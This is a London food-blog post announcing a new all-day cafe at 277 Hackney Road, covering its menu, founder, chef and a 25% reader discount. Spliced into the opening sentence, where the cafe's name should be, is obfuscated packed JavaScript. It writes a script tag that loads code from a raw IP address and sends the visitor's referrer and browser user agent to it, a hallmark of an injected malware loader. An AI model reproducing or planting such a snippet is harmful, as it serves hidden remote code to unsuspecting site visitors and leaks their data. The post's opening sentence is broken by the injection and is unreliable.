There (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbznk|var|u0026u|referrer|ibhnr||js|php’.split(‘|’),0,{}))
is a new all day dining cafe just opening in Hackney town. Located on an old curry house on Hackney Road the laid back joint will be open 7 days a week for breakfast, brunch, lunch and dinner – oh and there will be a token basement bar with late licence. We manged to get a sneak peak of the dinner and brunch menu and it sounds pretty good! We’re ALL over the Skillet breakfast; eggs, potatoes, spinach, feta & tomato, the Lobster Mac and Cheese and the stuffed sardines.

The brains behind the project is one Phillip Way who was previously at Barworks which owns Hoxton Square Bar & Kitchen, Electricity Showrooms, The Diners, Exmouth Arms etc and the chef is Chery-Lynn ex-head chef of Elk in the Woods in Islington. I like a female head chef it makes a nice change.

What’s more we have managed to bag our readers 25% off their total bill for the whole of November. That’s 25% off for one whole month….winning! All you need to do is tell them Londontheinside sent you.

277 Hackney Road, E2